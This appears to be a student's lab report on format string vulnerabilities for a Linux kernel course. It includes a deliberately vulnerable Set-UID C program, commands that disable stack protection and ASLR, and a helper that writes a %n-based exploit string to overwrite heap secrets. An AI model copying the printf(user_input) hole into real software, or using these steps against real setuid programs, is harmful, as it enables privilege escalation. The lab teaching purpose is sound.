2021-2022-1 20212813《Linux内核原理与分析》第十二周作业

一、 实验描述

格式化字符串漏洞是由像 printf(user_input) 这样的代码引起的,其中 user_input 是用户输入的数据,具有 Set-UID root 权限的这类程序在运行的时候,printf 语句将会变得非常危险,因为它可能会导致下面的结果:

  1. 使得程序崩溃
  2. 任意一块内存读取数据
  3. 修改任意一块内存里的数据

最后一种结果是非常危险的,因为它允许用户修改 set-UID root 程序内部变量的值,从而改变这些程序的行为。

二、实验预备知识讲解

2.1 什么是格式化字符串?

printf ("The magic number is: %d", 1911);

上面的这段 C 语言代码运行结果为 The magic number is: 1911 ,你会发现字符串 The magic number is: %d 中的格式符 %d 被参数(1911)替换。
其他形式的格式符:

格式符含义含义(英)
%d十进制数(int)decimal
%u无符号十进制数 (unsigned int)unsigned decimal
%x十六进制数 (unsigned int)hexadecimal
%s字符串 ((const) (unsigned) char *)string引用(指针)
%n%n 符号以前输入的字符数量 (* int)number of bytes written so far引用(指针)

2.2 栈与格式化字符串

格式化函数的行为由格式化字符串控制,printf 函数从栈上取得参数。

printf ("a has value %d, b has value %d, c is at address: %08x\n",a, b, &c); 

在这里插入图片描述

2.3 如果参数数量不匹配会发生什么?

printf ("a has value %d, b has value %d, c is at address: %08x\n",a, b);

在上面的例子,参数数量不匹配,格式字符串需要 3 个参数,但程序只提供了 2 个。
该程序能够通过编译么?

  • printf() 是一个参数长度可变函数。因此,仅仅看参数数量是看不出问题的。
  • 为了查出不匹配,编译器需要了解 printf() 的运行机制,然而编译器通常不做这类分析。
  • 有些时候,格式字符串并不是一个常量字符串,它在程序运行期间生成(比如用户输入),因此,编译器无法发现不匹配。

那么 printf() 函数自身能检测到不匹配么?

  • printf() 从栈上取得参数,如果格式字符串需要 3 个参数,它会从栈上取 3 个,除非栈被标记了边界,printf() 并不知道自己是否会用完提供的所有参数。
  • 既然没有那样的边界标记。printf() 会持续从栈上抓取数据,在一个参数数量不匹配的例子中,它会抓取到一些不属于该函数调用到的数据。

三、实验内容

3.1 实验 1

实验代码:

/* vul_prog.c */ 
#include <stdlib.h>
#include <stdio.h>

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
  char user_input[100];
  int *secret;
  long int_input;
  int a, b, c, d; /* other variables, not used here.*/

  /* The secret value is stored on the heap */
  secret = (int *) malloc(2*sizeof(int));

  /* getting the secret */
  secret[0] = SECRET1; secret[1] = SECRET2;

  printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
  printf("The variable secret's value is 0x%8x (on heap)\n", secret);
  printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
  printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]);

  printf("Please enter a decimal integer\n");
  scanf("%d", &int_input);  /* getting an input from user */
  printf("Please enter a string\n");
  scanf("%s", user_input); /* getting a string from user */

  /* Vulnerable place */
  printf(user_input);  
  printf("\n");

  /* Verify whether your attack is successful */
  printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
  printf("The new secrets:      0x%x -- 0x%x\n", secret[0], secret[1]);
  return 0;
}

编译时添加以下参数关掉栈保护:

$ gcc -z execstack -fno-stack-protector -o vul_prog vul_prog.c 
$ sudo chmod u+s vul_prog

在这里插入图片描述

3.1.1 找出 secret[1]的值

运行 vul_prog 程序去定位 int_input 的位置,这样就确认了 %s 在格式字符串中的位置。
在这里插入图片描述
输入 secret[1] 的地址(十进制),同时在格式字符串中加入 %s ,可以看到第八个位置上为‘U’,即 secret[1] 的值。
在这里插入图片描述

3.1.2 修改 secret[1]的值

在这里插入图片描述

3.1.3 修改 secret[1]为期望值

在这里插入图片描述

3.2 实验 2

实验代码如下:

/* vul_prog.c */ 
#include <stdlib.h>
#include <stdio.h>

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
  char user_input[100];
  int *secret;
  int a, b, c, d; /* other variables, not used here.*/

  /* The secret value is stored on the heap */
  secret = (int *) malloc(2*sizeof(int));

  /* getting the secret */
  secret[0] = SECRET1; secret[1] = SECRET2;

  printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
  printf("The variable secret's value is 0x%8x (on heap)\n", secret);
  printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
  printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]);

  printf("Please enter a string\n");
  scanf("%s", user_input); /* getting a string from user */

  /* Vulnerable place */
  printf(user_input);  
  printf("\n");

  /* Verify whether your attack is successful */
  printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
  printf("The new secrets:      0x%x -- 0x%x\n", secret[0], secret[1]);
  return 0;
}

使用 linux 命令设置关闭地址随机化选项:

sudo sysctl -w kernel.randomize_va_space=0

新建一个程序 write_string.c 。以下程序将一个格式化字符串写入了一个叫 mystring 的文件,前 4 个字节由任意你想放入格式化字符串的数字构成,接下来的字节由键盘输入:

/* write_string.c */

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main()
{
    char buf[1000];
    int fp, size;
    unsigned int *address;
    /* Putting any number you like at the beginning of the format string */
    address = (unsigned int *) buf;
    *address = 0x113222580;
    /* Getting the rest of the format string */
    scanf("%s", buf+4);
    size = strlen(buf+4) + 4;
    printf("The string length is %d\n", size);
    /* Writing buf to "mystring" */
    fp = open("mystring", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
    if (fp != -1) {
        write(fp, buf, size);
        close(fp);
    } else {
        printf("Open failed!\n");
    }
}

在这里插入图片描述

3.2.1 修改 secret[0]的值

修改 vul_prog.c 后编译 vul_prog.c 与 write_string.c:

rm vul_prog
gcc -z execstack -fno-stack-protector -o vul_prog vul_prog.c 
gcc -o write_string write_string.c

先运行 vul_prog 程序,输入 4 个 %016llx 。再运行 write_string 程序,输入 8 个 %016llx 和 1 个 %n ,此操作会生成一个 mystring 文件。然后输入如下命令:

./vul_prog < mystring

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值